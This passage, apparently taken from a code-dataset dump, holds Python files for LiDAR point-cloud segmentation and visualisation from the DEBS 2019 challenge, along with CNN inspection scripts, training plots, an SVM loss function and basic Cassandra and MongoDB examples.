20\n count = 1\n\n for i in to_plot: \n fig.add_subplot(rows, colums, count)\n count+=1\n plt.imshow(i)\n\n plt.savefig(\"../model/{}.png\".format(object_names[desired_object]))\n plt.clf()\n\nif __name__ == \"__main__\":\n plot_input_images()", "id": "5548186", "language": "Python", "matching_score": 2.073446273803711, "max_stars_count": 0, "path": "src/ssh-kd/utils/vis.py" }, { "content": "import sys\nimport os\nimport numpy as np\n\nsys.path.insert(0, os.path.abspath(\"..\"))\nfrom utils.vis import plot_conv_weights, plot_conv_layer\nfrom plugin.load_model import load_graph, object_names_func\nfrom train import load_data\n\ndef check_model():\n \n # Creating the session\n session, img_length, img_height, y_pred_cls, x, weights1, weights2, conv1, conv2 = load_graph(True,\"../model/two_d_cnn_proj.ckpt\")\n \n # object names\n object_names = object_names_func()\n list_of_objects = list(range(29))\n list_of_objects.remove(22)\n\n # plotting the weights\n plot_conv_weights(session.run(weights1), 0,'../model/weights1.png')\n plot_conv_weights(session.run(weights2), 0,'../model/weights2.png')\n\n\n\n\n # Select some images after reading in the data\n train_input_encode, train_out_encode, test_input_encode, test_out_encode = load_data(\"../data\")\n\n image = train_input_encode[1000]\n test_object = object_names[list_of_objects[np.argmax(train_out_encode[1000])]]\n\n feed_dict = {x: [image]}\n\n # Calculate and retrieve the output values of the layer1\n values = session.run(conv1, feed_dict=feed_dict)\n plot_conv_layer(values, '../model/{}_1.png'.format(test_object))\n\n # Calculate and retrieve the output values of the layer2\n values = session.run(conv2, feed_dict=feed_dict)\n plot_conv_layer(values, '../model/{}_2.png'.format(test_object))\n\n print(\"Object = {}\".format(test_object))\n \n\nif __name__ == \"__main__\":\n check_model()", "id": "3317870", "language": "Python", "matching_score": 0.6151754856109619, "max_stars_count": 0, "path": "src/ssh-kd/utils/check_model.py" }, { "content": "# Docker commands to install Cassandra\n\n# docker network create cassandra\n# docker run --rm -d --name cassandra --hostname cassandra --network cassandra cassandra\n\n\n# If you want to login to the container.\n# docker exec -it cassandra /bin/bash\n# run cqlsh to get to the cassandra shell\n\n\n# pip install cassandra-driver\n\n\n# https://docs.datastax.com/en/developer/python-driver/3.24/getting_started/\nfrom cassandra.cluster import Cluster\n\ncluster = Cluster()\nsession = cluster.connect()\n\n# Documentation link https://cassandra.apache.org/doc/latest/cassandra/data_modeling/data_modeling_rdbms.html\n\n# CQL https://cassandra.apache.org/doc/latest/cassandra/cql/index.html\n\n\n# From the quick start guide\n# We create a keyspace\nsession.execute(\"CREATE KEYSPACE IF NOT EXISTS store WITH REPLICATION = { 'class' : 'SimpleStrategy', 'replication_factor' : '1' };\")\n\n# We create a table\nsession.execute(\"CREATE TABLE IF NOT EXISTS store.shopping_cart (userid text PRIMARY KEY, item_count int, last_update_timestamp timestamp);\")\n\n# Insert into the table.\nsession.execute(\"INSERT INTO store.shopping_cart (userid, item_count, last_update_timestamp) VALUES ('9876', 2, toTimeStamp(now()));\")\nsession.execute(\"INSERT INTO store.shopping_cart (userid, item_count, last_update_timestamp) VALUES ('1234', 5, toTimeStamp(now()));\")\n\n# select all and print them back\n\na = session.execute(\"SELECT * FROM store.shopping_cart;\")\n\n# print(a.one())\n# We print all of the rows\nfor row in a:\n print(row)\n", "id": "8370032", "language": "Python", "matching_score": 1.1576541662216187, "max_stars_count": 0, "path": "NoSQL/cassandra_connection.py" }, { "content": "# https://www.mongodb.com/languages/python\n\n# mongosh mongo shell\n# https://www.mongodb.com/docs/mongodb-shell/run-commands/\n\n# show databases\n# use database: use students\n# search and show the content of a datbase: db.getCollection(\"students\").find()\n# delete databse: db.dropDatabase()\n\nfrom pymongo import MongoClient\nimport pymongo\n\n\ndef get_database():\n\n # Provide the mongodb atlas url to connect python to mongodb using pymongo\n # CONNECTION_STRING = \"mongodb+srv://<username>:<password>@<cluster-name>.mongodb.net/myFirstDatabase\"\n CONNECTION_STRING = \"mongodb://127.0.0.1:27017/?directConnection=true\"\n\n # Create a connection using MongoClient. You can import MongoClient or use pymongo.MongoClient\n client = MongoClient(CONNECTION_STRING)\n\n # Create the database for our example (we will use the same database throughout the tutorial\n return client['students']\n\n# This is added so that many files can reuse the function get_database()\nif __name__ == \"__main__\":\n\n # Get the database\n dbname = get_database()\n\n # print(str(dbname))\n\n collection_name = dbname[\"students\"]\n\n student_1 = {\n \"student_id\": \"U1IT00001\",\n \"firstname\": \"John\",\n \"lastname\": \"Doe\",\n \"class_year\": 2017,\n \"courses\": [\n {\n \"course_id\": \"CS378\",\n \"title\": \"Cloud Computing\",\n \"unit\": 4,\n \"tuition\": 1500,\n \"sections\": [\n 5051,\n 5051\n ]\n },\n {\n \"course_id\": \"CS108\",\n \"title\": \"Software Systems\",\n \"unit\": 4,\n \"tuition\": 1100,\n \"sections\": [\n 4011,\n 5021\n ]\n }\n ]\n }\n\n\n student_2 = {\n \"student_id\": \"U1IT00002\",\n \"firstname\": \"Mike\",\n \"lastname\": \"Smith\",\n \"class_year\": 2018,\n \"courses\": [\n {\n \"course_id\": \"CS378\",\n \"title\": \"Cloud Computing\",\n \"unit\": 4,\n \"tuition\": 1500,\n \"sections\": [\n 5051,\n 5051\n ]\n },\n {\n \"course_id\": \"CS328\",\n \"title\": \"Data Structutes\",\n \"unit\": 4,\n \"tuition\": 1150,\n \"sections\": [\n 6051,\n 7052\n ]\n }\n ]\n }\n\n\n\n collection_name.insert_many([student_1, student_2])\n\n###########################################################\n# Reading the data back.\n\n dbname = get_database()\n\n\n # Create a new collection\n collection_name = dbname[\"students\"]\n\n students = collection_name.find()\n\n for student in students:\n # This does not give a very readable output\n print(student)\n", "id": "6691337", "language": "Python", "matching_score": 0.20592114329338074, "max_stars_count": 0, "path": "NoSQL/mongoDB_connect.py" }, { "content": "import numpy as np\nfrom sklearn.cluster import DBSCAN\nfrom scipy import stats\n\nimport warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\ndef get_different_sectors(temp, threshold=0.7):\n \"\"\" \n Divides the scene into sectors. \n \n In a given 3D scene, from the top view, this functions divides the scene into object containing sectors and empty sectors \n \n Parameters: \n temp (numpy.ndarray): The input is a numpy array with X,Y,Z,radius values \n \n Returns: \n list_of_sectors (list): list of sectors, where each sector is a numpy.ndarray with X,Y,Z,radius,angles, top_radius values\n \n \"\"\"\n # Calculate the angles using the np.arctan2\n angles = np.round(np.arctan2(temp[:,2],temp[:,0])*180/np.pi,1).astype(np.float)\n angles[angles<0] = angles[angles<0]+360\n\n # calculate the top_radius(sqrt(x**2+z**2))\n top_rad = np.round(np.sqrt(temp[:,0]**2+temp[:,2]**2),1)\n # print(top_rad.tolist())\n # appending angles and the top radius to the input\n temp = np.hstack([temp, angles.reshape(-1,1), top_rad.reshape(-1,1)])\n\n # Calculating the unique angles\n unique_angles = sorted(list(np.unique(angles)))\n indexes_to_split = list(np.where(np.diff(unique_angles)>=threshold)[0]+1)\n start=0\n\n if len(unique_angles)==0:\n angle_ranges = [unique_angles]\n else:\n angle_ranges = []\n\n for i in indexes_to_split:\n angle_ranges.append(unique_angles[start:i])\n start = i\n \n list_of_sectors = []\n \n for j in angle_ranges:\n max_angle = max(j)\n min_angle = min(j)\n bool_vec = (angles>=min_angle) & (angles<=max_angle)\n if np.sum(bool_vec)>10:\n list_of_sectors.append(temp[bool_vec])\n \n return list_of_sectors\n\n\ndef get_valid_density(list_of_valid_sec):\n \"\"\" \n Divides the Sector into mini areas of objects. \n \n In a given sectors of a 3D scene, from the top view, this functions divides the sectors into object containing area and empty areas \n \n Parameters: \n list_of_valid_sec (list of numpy.ndarray): The input is a list of numpy array with X,Y,Z,radius,angles,top_radius values \n \n Returns: \n list_of_valid_density (list): list of objects, where each object is a numpy.ndarray with X,Y,Z,radius,angles, top_radius values\n \n \"\"\"\n\n # Return value\n list_of_valid_density = []\n\n\n for temp in list_of_valid_sec:\n # Initializing the kernel\n try:\n kernel = stats.gaussian_kde(temp[:,5],bw_method=0.05)\n except:\n print(temp[:,5])\n exit(-1)\n\n # Evaluating the values\n to_plot2 = kernel.evaluate(np.linspace(-20,180,500))\n\n # Threshold ==0.001\n bool_vec = [~(to_plot2<=0.001)]\n\n # Selecting valid values wrt threshold\n to_plot = to_plot2[bool_vec]\n x_val = np.linspace(-20,180,500)[bool_vec]\n\n # Selecting the boundary points\n req_indexes = np.where((np.diff(x_val)<=0.5)==False)[0]+1\n markers_on = x_val[req_indexes].round(0).astype(int).tolist()\n markers_on = [0]+markers_on+[180]\n\n # Calculate the dense indexs\n to_dense = np.split(to_plot,req_indexes)\n try:\n max_dense = [np.max(j) for j in to_dense]\n except:\n list_of_valid_density.append(temp)\n continue\n\n # Selecting the valid objects\n for i in range(len(markers_on)-1):\n if max_dense[i]>=0.01:\n temp1 = temp[ (temp[:,5]>=markers_on[i]) & (temp[:,5]<=markers_on[i+1]) ]\n if len(temp1)>=15:\n list_of_valid_density.append(temp1)\n \n return list_of_valid_density\n\ndef removeOutWithDBSCAN(temp1, top=False, count=0, objects=False):\n if top:\n data = np.array(\n list(\n zip(\n np.array(temp1[:,0]), \n np.array(temp1[:,2])\n )\n )\n )\n else:\n data = np.array(\n list(\n zip(\n np.array(temp1[:,0]), \n np.array(temp1[:,1]), \n np.array(temp1[:,2])\n )\n )\n )\n\n # Fitting the model \n clustering = DBSCAN(eps=1, min_samples=16).fit(data)\n labels = clustering.labels_\n\n # Appending the labels to the array\n temp1 = np.hstack([temp1, labels.reshape(-1,1)])\n temp1 = temp1[~(labels==-1)]\n\n if objects:\n temp1[:,6] = temp1[:,6]+count\n return temp1\n\ndef get_valid_objects(list_of_densities):\n objects = [] # Return this list\n count = 0 # TO count the number of objects\n\n for each in list_of_densities:\n temp1 = removeOutWithDBSCAN(each, True,count, True)\n if len(temp1)>=1:\n objs = np.unique(temp1[:,6])\n count+=len(objs)\n objects += [ temp1[temp1[:,6]==i] for i in objs ]\n \n return objects\n \n\n\ndef prep_obj_data(temp, use_db = False):\n \"\"\"\n Takes in the data frame and return the list of the valid objects\n \n Parameters: \n temp (numpy.ndarray): The input is a list of numpy array with X,Y,Z,radius \n \n Returns: \n list_of_valid_density (list): list of objects, where each object is a numpy.ndarray with X,Y,Z,radius,angles, top_radius values \n \"\"\"\n # Finding the list of sectors \n list_of_sectors = get_different_sectors(temp)\n\n # Finding the list of objects\n list_of_valid_density = get_valid_density(list_of_sectors)\n\n # Using the dbscan to get the objects\n if use_db:\n list_of_valid_density = get_valid_objects(list_of_valid_density)\n\n return list_of_valid_density", "id": "4047932", "language": "Python", "matching_score": 1.6914135217666626, "max_stars_count": 0, "path": "src/ssh-kd/plugin/kde_seg.py" }, { "content": "from data import remove_outliers, visualize, visualize_base\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime\n\ndef main():\n # Take the outliers\n # outliers , others = remove_outliers(\"/home/samba693/DataChallenge/debs2019_initial_dataset/Atm/in.csv\")\n\n # # get the min and max values for each outlier range \n # for i in outliers:\n # i['radiusSquare'] = i['X']**2+i['Y']**2+i['Z']**2\n # i['radius'] = np.sqrt(i['radiusSquare']).round(1)\n # i = i[i['radius']>0]\n # i['max'] = i.groupby(['lz'])['radius'].transform('max')\n # i['min'] = i.groupby(['lz'])['radius'].transform('min')\n # i = i[['lz','max','min']]\n # i.drop_duplicates(subset=['lz','max','min'],inplace=True)\n \n # # Save the data frame\n # i.to_pickle(\"./outliers.pkl\")\n\n outliers = pd.read_pickle(\"./outliers.pkl\")\n path = \"/home/samba693/DataChallenge/debs2019_initial_dataset/Pedestrian/in.csv\"\n dataframes = object_points(path, outliers)\n visualize(dataframes,2)\n\n \ndef object_points(path, outliers):\n dataframes = []\n for i in range(50):\n cur = datetime.now()\n df = pd.read_csv(path, usecols=[1,2,3,4], skiprows=i*72000, nrows=72000, names=[\"lz\",\"X\",\"Y\",\"Z\"])\n df['radiusSquare'] = df['X']*df['X']+df['Y']*df['Y']+df['Z']*df['Z']\n df['radius'] = np.sqrt(df['radiusSquare']).round(1)\n temp_out = pd.DataFrame()\n for j in range(64):\n max_rad = outliers[outliers['lz']==j]['max'].tolist()[0]\n min_rad = outliers[outliers['lz']==j]['min'].tolist()[0]\n dummy_df = df[df['lz']==j]\n temp_out = temp_out.append(dummy_df[~((dummy_df['radius']<=max_rad) & (dummy_df['radius']>=min_rad))])\n temp_out.drop(temp_out[temp_out['radius']==0].index, inplace = True)\n dataframes.append(temp_out)\n print(\"Stop for {} images = {}\".format(i,datetime.now() - cur))\n return dataframes\n\nif __name__ == \"__main__\":\n main()", "id": "11608482", "language": "Python", "matching_score": 2.736607313156128, "max_stars_count": 0, "path": "src/object-net/ground.py" }, { "content": "\"\"\"\n@author: samba\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport sys\nfrom sklearn.cluster import KMeans\n\n# Visualization\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\nfrom plotly.offline import plot , iplot\nimport plotly.graph_objs as go\n\n# Remove the outliers\ndef remove_outliers(file_path):\n # return the list of dataframes\n dataframe_lists = []\n outliers = []\n # Creating the dataframe and selecting the required columns\n for i in range(1):\n temp_out = pd.DataFrame()\n df = pd.read_csv(file_path, usecols=[1,2,3,4], skiprows=i*72000, nrows = 72000, names=[\"lz\",\"X\",\"Y\",\"Z\"])\n df['radiusSquare'] = df['X']*df['X']+df['Y']*df['Y']+df['Z']*df['Z']\n df['radius'] = np.sqrt(df['radiusSquare']).round(1)\n df['freq'] = df.groupby(['lz','radius'])['radius'].transform('count')\n for j in range(64):\n maxfreq = df[(df['lz']==j) & (df['radius']!=0)]['freq'].max()\n while maxfreq>75:\n temp_out = temp_out.append(df.loc[(df['lz']==j) & (df['freq']==maxfreq)],ignore_index=True)\n df.drop(df[(df['lz']==j) & (df['freq']==maxfreq)].index, inplace=True)\n maxfreq = df[(df['lz']==j) & (df['radius']!=0)]['freq'].max()\n temp_out = temp_out.append(df.loc[(df['lz']==j) & (df['radius']==0)],ignore_index=True)\n df.drop(df[(df['lz']==j) & (df['radius']==0)].index, inplace=True)\n outliers.append(temp_out.iloc[:,0:4])\n dataframe_lists.append(df.iloc[:,0:4])\n\n return outliers, dataframe_lists\n\n# cluster the data points and get the results\ndef cluster(dataframes):\n points_with_labels = []\n for i in dataframes:\n kmeans_model = KMeans(n_clusters=3, random_state=1).fit(i)\n i['labels'] = kmeans_model.labels_\n points_with_labels.append(i)\n \n return points_with_labels\n\n# Return the object data points\ndef object_points(dataframes):\n return_object_points = []\n for i in dataframes:\n i = i[i['labels']==i.labels.mode()[0]]\n return_object_points.append(i.iloc[:,:-1])\n \n return return_object_points\n\n# Visualizing the data points\ndef visualize(data, type_of_vis = 1):\n if type(data) is pd.DataFrame:\n visualize_base(data,type_of_vis)\n else:\n count = 0\n for i in data:\n count+=1\n visualize_base(i, type_of_vis,count)\n\n# Visualize each data frame\ndef visualize_base(data, type_of_vis, count=1):\n x = tuple(data['X'].tolist())\n y = tuple(data['Y'].tolist())\n z = tuple(data['Z'].tolist())\n if type_of_vis == 1:\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n ax.scatter(x,y,z,c='r',marker='o')\n ax.set_xlabel('X Label')\n ax.set_ylabel('Y Label')\n ax.set_zlabel('Z Label')\n plt.show()\n \n else:\n if 'labels' in data:\n labels = data['labels'].tolist()\n trace = go.Scatter3d(x=x,y=y,z=z, mode='markers', marker=dict(color=labels,size=2,opacity=0.6))\n else:\n trace = go.Scatter3d(x=x,y=z,z=y, mode='markers', marker=dict(color='red',size=2,opacity=0.6))\n layout = go.Layout(\n scene = dict(\n xaxis = dict(\n nticks=4, range = [-100,100],),\n yaxis = dict(\n nticks=4, range = [-50,100],),\n zaxis = dict(\n nticks=4, range = [-100,100],),)\n )\n data=[trace]\n fig = go.Figure(data=data, layout=layout)\n plot(fig,filename='../visuals/{}_{}.html'.format('vis',count), auto_open=False, show_link=False)", "id": "8976202", "language": "Python", "matching_score": 3.2654881477355957, "max_stars_count": 0, "path": "src/object-net/data.py" }, { "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 10 18:31:57 2019\n\n@author: kia\n\"\"\"\n\n\n\nimport pandas as pd\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\n\nfig = plt.figure()\n\nax = fig.add_subplot(111, projection='3d')\n\n\n\n\ndata= pd.read_csv('/home/kia/Collected-Datasets/DEBS2019/debs2019_initial_dataset/Atm/in.csv', sep=',', header=None, usecols=[2,3,4] , names=[\"X\",\"Y\", \"Z\"])\ndata = pd.DataFrame(data)\n\n\n# Define a scnene number that we use to speare data\nsceneNr = 3\n\n\n# The use panda dataframe to slice it.\n# Each scene is 72k rows\ndata1 = data.loc[ (1-sceneNr) * 72000 : sceneNr * 72000]\n\nX=data1[\"X\"]\nY=data1[\"Y\"]\nZ=data1[\"Z\"]\n\nax.scatter(X, Z, Y)\n\n\n\nplt.show()\n\n", "id": "1293077", "language": "Python", "matching_score": 2.05220365524292, "max_stars_count": 0, "path": "src/visualization/3dVisualization.py" }, { "content": "import matplotlib.pyplot as plt\nimport numpy as np\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfig = plt.figure()\nax = fig.gca( projection='3d')\n\n# Scatter graph\nN = 100\nX = np.random.uniform(-90, 90, N)\nY = np.random.uniform(-90, 90, N)\nZ = np.random.uniform(-3, 29, N)\nax.scatter(X, Y, Z)\n\n# Cylinder\nx=np.linspace(-120, 120, 100)\nz=np.linspace(-3, 29, 100)\nXc, Zc=np.meshgrid(x, z)\nYc = np.sqrt(14400-Xc**2)\n\n# Draw parameters\nrstride = 20\ncstride = 10\nax.plot_surface(Xc, Yc, Zc, alpha=0.2, rstride=rstride, cstride=cstride)\nax.plot_surface(Xc, -Yc, Zc, alpha=0.2, rstride=rstride, cstride=cstride)\n\nax.view_init(elev=20, azim=60)\n\nax.set_xlabel(\"Z\")\nax.set_ylabel(\"X\")\nax.set_zlabel(\"Y\")\nplt.show()\n\nfig.savefig(\"/home/saeed/data.pdf\", bbox_inches='tight')", "id": "1979191", "language": "Python", "matching_score": 1.231719970703125, "max_stars_count": 0, "path": "presentation/images/data_overview.py" }, { "content": "# imports\nimport matplotlib.pyplot as plt\n\n# Change the size of the image here\nplt.rcParams[\"figure.figsize\"] = (4,4)\n\n# Train and validation accuracy\ntrain_acc = [4.0,30.1,42.3,54.6,61.8,67.6,72.5,75.9,78.7,81.7,84.7,87.2]\nval_acc = [3.9,32.3,47.2,62.9,69.2,74.9,77.9,81.2,82.5,85.4,88.3,92.7]\n\n# Train and validation loss\ntrain_loss = [3.347,2.224,1.742,1.408,1.1798,0.98703,0.8687,0.7552,0.6347,0.5813,0.5345,0.4935]\nval_loss = [3.339,2.1006,1.5959,1.2513,1.0288,0.88,0.7654,0.6983,0.6212,0.5836,0.5516,0.4953]\n\ntest_accu = 94.2\n\n\n\nfig = plt.figure()\n\n# lines\nplt.plot(range(1,13),train_acc,label='Training Accuracy')\nplt.plot(range(1,13),val_acc,label='Validation Accuracy')\n\n# axis labels\nplt.xlabel('Epochs')\nplt.ylabel('Accuracy')\n\n# title\nplt.title('Object-net')\n\n# ticks and legend\nplt.xticks(range(1,13))\nplt.legend()\n\n# saving\nfig.savefig(\"../images/accuracy.png\")\n\n# clearing the plot after saving\nplt.clf()\n\nfig = plt.figure()\nplt.plot(range(1,13),train_loss,label='Training loss')\nplt.plot(range(1,13),val_loss, label='Validation loss')\nplt.xlabel('Epochs')\nplt.ylabel('Loss')\nplt.title('Object-net')\nplt.xticks(range(1,13))\nplt.legend()\nfig.savefig(\"../images/loss.png\")\nplt.clf()\n", "id": "228629", "language": "Python", "matching_score": 0.7755280137062073, "max_stars_count": 0, "path": "paper/scripts/one_to_one.py" }, { "content": "# Source is from https://mlxai.github.io/2017/01/06/vectorized-implementation-of-svm-loss-and-gradient-update.html\n\n\ndef svm_loss_naive(W, X, y, reg):\n \"\"\"\n Structured SVM loss function, naive implementation (with loops).\n\n Inputs have dimension D, there are C classes, and we operate on minibatches\n of N examples.\n\n Inputs:\n - W: A numpy array of shape (D, C) containing weights.\n - X: A numpy array of shape (N, D) containing a minibatch of data.\n - y: A numpy array of shape (N,) containing training labels; y[i] = c means\n that X[i] has label c, where 0 <= c < C.\n - reg: (float) regularization strength\n\n Returns a tuple of:\n - loss as single float\n - gradient with respect to weights W; an array of same shape as W\n \"\"\"\n dW = np.zeros(W.shape) # initialize the gradient as zero\n\n # compute the loss and the gradient\n num_classes = W.shape[1]\n num_train = X.shape[0]\n loss = 0.0\n for i in xrange(num_train):\n scores = X[i,:].dot(W)\n correct_class_score = scores[y[i]]\n for j in xrange(num_classes):\n if j == y[i]:\n continue\n margin = scores[j] - correct_class_score + 1\n if margin > 0:\n loss += margin\n dW[:,y[i]] -= X[i,:]\n dW[:,j] += X[i,:]\n\n # Averaging over all examples\n loss /= num_train\n dW /= num_train\n\n # Add regularization\n loss += 0.5 * reg * np.sum(W * W)\n dW += reg*W\n\n return loss, dW\n", "id": "1259483", "language": "Python", "matching_score": 0.5035786032676697, "max_stars_count": 32, "path": "Python_examples/SVM-Vectorized.py" }, { "content": "# packages\nimport numpy as np\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\n\n\ndef input_nn(object_points, x_range, y_range, grid_size, img_length, img_height, view):\n \"\"\"Function to create the input to the cnn function, need to see the time and optimize it later.\"\"\"\n\n # create an empty numpy array for the counts\n n_rows = int(img_height / grid_size)\n n_cols = int(img_length / grid_size)\n\n # Populate the input array\n gridx = np.linspace(x_range[0], x_range[1], n_cols + 1)\n gridy = np.linspace(y_range[0], y_range[1], n_rows + 1)\n\n # according to the view\n if view == 2:\n x = np.array(object_points[0])\n elif view == 3:\n x = np.array(object_points[\"Z\"])\n\n y = np.array(object_points[1])\n\n # compute the bi-dimensional histogram of two data samples\n grid, _, _ = np.histogram2d(x, y, bins=[gridx, gridy])\n\n # Returning the input\n return np.rot90(grid)\n\n\ndef flat_input(input_arr):\n \"\"\"\n Converting the input arr into flat array and return the flattened input array for training.\n \"\"\"\n to_return = []\n # Reshape each numpy array in the list\n for i in input_arr:\n to_return.append(i.flatten())\n return np.array(to_return)\n\n\ndef encode_output(output_arr):\n \"\"\"\n Encodes the output arr to one hot encoding and return the encoders and encoded values.\n \"\"\"\n # Transforming the output to one hot encoding, buy using label encoder at first and then one hot encoder\n encoder = LabelEncoder()\n encoded_out_test = encoder.fit_transform(output_arr)\n\n # using one hot encoder\n encoder1 = OneHotEncoder()\n encoded_out_test = encoder1.fit_transform(encoded_out_test.reshape(-1, 1)).toarray()\n\n # returning the encoders and encoded values\n return encoded_out_test, encoder, encoder1\n", "id": "4799583", "language": "Python", "matching_score": 1.9149044752120972, "max_stars_count": 0, "path": "src/ssh-kd/plugin/encode.py" }, { "content": "import plotly as py\nfrom plotly.offline import plot, iplot\nimport plotly.graph_objs as go\n\npy.offline.init_notebook_mode(connected=True)\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.metrics import confusion_matrix\n\n\nclass Visualization(object):\n def __init__(self):\n pass\n\n def simpleplt(self, input_arr):\n # plotting the image\n plt.imshow(input_arr, cmap=\"gray\")\n\n def visualize(\n self,\n object_data_frame,\n view,\n x_range=[-30, 30],\n y_range=[-120, 120],\n use_distance=False,\n ):\n x = tuple(object_data_frame[\"X\"].tolist())\n y = tuple(object_data_frame[\"Y\"].tolist())\n z = tuple(object_data_frame[\"Z\"].tolist())\n if use_distance:\n radius = tuple(object_data_frame[\"radius\"].tolist())\n else:\n radius = \"red\"\n if view == 1:\n x_points = x\n y_points = z\n elif view == 2:\n x_points = x\n y_points = y\n elif view == 3:\n x_points = z\n y_points = y\n else:\n print(\"Not a valid view\")\n x_points = x\n y_points = z\n trace = go.Scatter(\n x=x_points,\n y=y_points,\n mode=\"markers\",\n marker=dict(color=radius, size=2, opacity=1),\n )\n layout = go.Layout(\n scene=dict(xaxis=dict(range=x_range), yaxis=dict(range=y_range))\n )\n\n data = [trace]\n fig = go.Figure(data=data, layout=layout)\n iplot(fig)\n\n def visualize_50_html(self, num_of_scenes, view, objects, object_name):\n \"\"\"This function creates the visualization of the object points in particular view for given num_of_scenes.\"\"\"\n # Creating the list of scenes\n scenes = range(num_of_scenes)\n\n # make figure\n figure = {\"data\": [], \"layout\": {}, \"frames\": []}\n\n # fill in most of layout\n figure[\"layout\"][\"xaxis\"] = {\"range\": [-120, 120], \"title\": \"x-axis\"}\n figure[\"layout\"][\"yaxis\"] = {\"title\": \"y-axis\"}\n figure[\"layout\"][\"hovermode\"] = \"closest\"\n figure[\"layout\"][\"sliders\"] = {\n \"args\": [\"transition\", {\"duration\": 400, \"easing\": \"cubic-in-out\"}],\n \"initialValue\": \"0\",\n \"plotlycommand\": \"animate\",\n \"values\": scenes,\n \"visible\": True,\n }\n figure[\"layout\"][\"updatemenus\"] = [\n {\n \"buttons\": [\n {\n \"args\": [\n None,\n {\n \"frame\": {\"duration\": 500, \"redraw\": False},\n \"fromcurrent\": True,\n \"transition\": {\n \"duration\": 300,\n \"easing\": \"quadratic-in-out\",\n },\n },\n ],\n \"label\": \"Play\",\n \"method\": \"animate\",\n },\n {\n \"args\": [\n [None],\n {\n \"frame\": {\"duration\": 0, \"redraw\": False},\n \"mode\": \"immediate\",\n \"transition\": {\"duration\": 0},\n },\n ],\n \"label\": \"Pause\",\n \"method\": \"animate\",\n },\n ],\n \"direction\": \"left\",\n \"pad\": {\"r\": 10, \"t\": 87},\n \"showactive\": False,\n \"type\": \"buttons\",\n \"x\": 0.1,\n \"xanchor\": \"right\",\n \"y\": 0,\n \"yanchor\": \"top\",\n }\n ]\n\n sliders_dict = {\n \"active\": 0,\n \"yanchor\": \"top\",\n \"xanchor\": \"left\",\n \"currentvalue\": {\n \"font\": {\"size\": 20},\n \"prefix\": \"Scene:\",\n \"visible\": True,\n \"xanchor\": \"right\",\n },\n \"transition\": {\"duration\": 300, \"easing\": \"cubic-in-out\"},\n \"pad\": {\"b\": 10, \"t\": 50},\n \"len\": 0.9,\n \"x\": 0.1,\n \"y\": 0,\n \"steps\": [],\n }\n\n # make data\n scene = 0\n\n object_by_scene = objects[scene]\n x = tuple(object_by_scene[\"X\"].tolist())\n y = tuple(object_by_scene[\"Y\"].tolist())\n z = tuple(object_by_scene[\"Z\"].tolist())\n radius = tuple(object_by_scene[\"radius\"].tolist())\n if view == 1:\n x_points = x\n y_points = z\n\n elif view == 2:\n x_points = x\n y_points = y\n\n elif view == 3:\n x_points = z\n y_points = y\n\n else:\n print(\"Not a valid view\")\n x_points = x\n y_points = z\n\n data_dict = {\n \"x\": x_points,\n \"y\": y_points,\n \"mode\": \"markers\",\n \"marker\": {\"color\": radius, \"size\": 2, \"opacity\": 1},\n }\n figure[\"data\"].append(data_dict)\n\n # make frames\n for scene in scenes:\n frame = {\"data\": [], \"name\": str(scene)}\n\n object_by_scene = objects[scene]\n x = tuple(object_by_scene[\"X\"].tolist())\n y = tuple(object_by_scene[\"Y\"].tolist())\n z = tuple(object_by_scene[\"Z\"].tolist())\n radius = tuple(object_by_scene[\"radius\"].tolist())\n if view == 1:\n x_points = x\n y_points = z\n elif view == 2:\n x_points = x\n y_points = y\n elif view == 3:\n x_points = z\n y_points = y\n else:\n print(\"Not a valid view\")\n x_points = x\n y_points = z\n\n data_dict = {\n \"x\": x_points,\n \"y\": y_points,\n \"mode\": \"markers\",\n \"marker\": {\"color\": radius, \"size\": 2, \"opacity\": 1},\n }\n frame[\"data\"].append(data_dict)\n\n figure[\"frames\"].append(frame)\n\n slider_step = {\n \"args\": [\n [scene],\n {\n \"frame\": {\"duration\": 300, \"redraw\": False},\n \"mode\": \"immediate\",\n \"transition\": {\"duration\": 300},\n },\n ],\n \"label\": scene,\n \"method\": \"animate\",\n }\n sliders_dict[\"steps\"].append(slider_step)\n\n figure[\"layout\"][\"sliders\"] = [sliders_dict]\n\n plot(\n figure,\n filename=\"../visuals/{}_{}_{}.html\".format(\n object_name, num_of_scenes, view\n ),\n auto_open=False,\n show_link=False,\n )\n\n def plot_grid(self, object_points, grid_size, view, x_range, y_range):\n \"\"\"Function to plot the given object points in the given view with grid\"\"\"\n # plots only for two views\n y = tuple(object_points[\"Y\"].tolist())\n\n if view == 2:\n x = tuple(object_points[\"X\"].tolist())\n elif view == 3:\n x = tuple(object_points[\"Z\"].tolist())\n\n # Plotting the figure\n fig = plt.figure(figsize=(20, 20), dpi=80, facecolor=\"w\", edgecolor=\"k\")\n ax = fig.gca()\n ax.set_xticks(np.arange(x_range[0], x_range[1], grid_size))\n ax.set_yticks(np.arange(y_range[0], y_range[1], grid_size))\n plt.scatter(x, y, s=4)\n plt.xlim(x_range[0], x_range[1])\n plt.ylim(y_range[0], y_range[1])\n plt.grid()\n plt.show()\n\n def plot_confusion_matrix(self, confusion_matrix, cls_pred, cls_true, num_classes):\n\n # get the confusion matrix using sklearn\n cm = confusion_matrix(y_true=cls_true, y_pred=cls_pred)\n\n # Printing the confusion matrix as text\n print(cm)\n\n # plot the confusion matrix as image\n plt.matshow(cm)\n\n plt.colorbar()\n tick_marks = np.arange(num_classes)\n plt.xticks(tick_marks, range(num_classes))\n plt.yticks(tick_marks, range(num_classes))\n plt.xlabel(\"Predicted\")\n plt.ylabel(\"True\")\n\n plt.show()\n", "id": "5768871", "language": "Python", "matching_score": 3.727328300476074, "max_stars_count": 0, "path": "src/starter-code/visualization.py" }, { "content": "from mpl_toolkits.mplot3d import Axes3D \n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\nclass All_Scenes_Gif:\n\n # Initializing the object\n def __init__(self, path):\n self.path = path\n # Removing the outliers\n def remove_outliers(self,no_of_scenes=50):\n objects = []\n for j in 